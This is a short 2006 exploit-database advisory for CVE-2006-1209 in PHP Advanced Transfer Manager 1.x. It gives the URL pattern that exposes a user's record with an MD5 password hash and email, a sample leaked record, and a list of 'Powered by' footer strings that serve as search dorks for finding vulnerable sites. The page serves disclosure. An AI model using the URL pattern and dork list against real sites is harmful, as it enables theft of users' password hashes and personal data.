PHP Advanced Transfer Manager Download users password hashes

2006.03.11
Credit: liz0 bsdmail com
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2006-1209
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

PHP Advanced Transfer Manager Download users password hashes PHP Advanced Transfer Manager 1.* Site:http://phpatm.free.fr/ ---------------------------------------------------- Bugs: http://victim.com/path/users/username ---------------------------------------------------- example: http://www.victim.com/Path/users/Admin 3a23bb515e06d0e944ff916e79a7775c ------>md5 0 victim (at) victim.co (dot) za [email concealed] 0 1 1 1026836078 en ---------------------------------------------------- Vulnerabilities : "Powered by PHP Advanced Transfer Manager v1.00" "Powered by PHP Advanced Transfer Manager v1.01" "Powered by PHP Advanced Transfer Manager v1.02" "Powered by PHP Advanced Transfer Manager v1.03" "Powered by PHP Advanced Transfer Manager v1.10" "Powered by PHP Advanced Transfer Manager v1.22" "Powered by PHP Advanced Transfer Manager v1.21" "Powered by PHP Advanced Transfer Manager v1.20" "Powered by PHP Advanced Transfer Manager v1.30" ----------------------------------------------------- Credit :Liz0ziM Website:www.biyosecurity.com Mail :liz0 (at) bsdmail (dot) com [email concealed] ------------------------------------------------------ Source: http://www.blogcu.com/Liz0ziM/316652/ http://biyosecurity.be/bugs/patm.txt


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top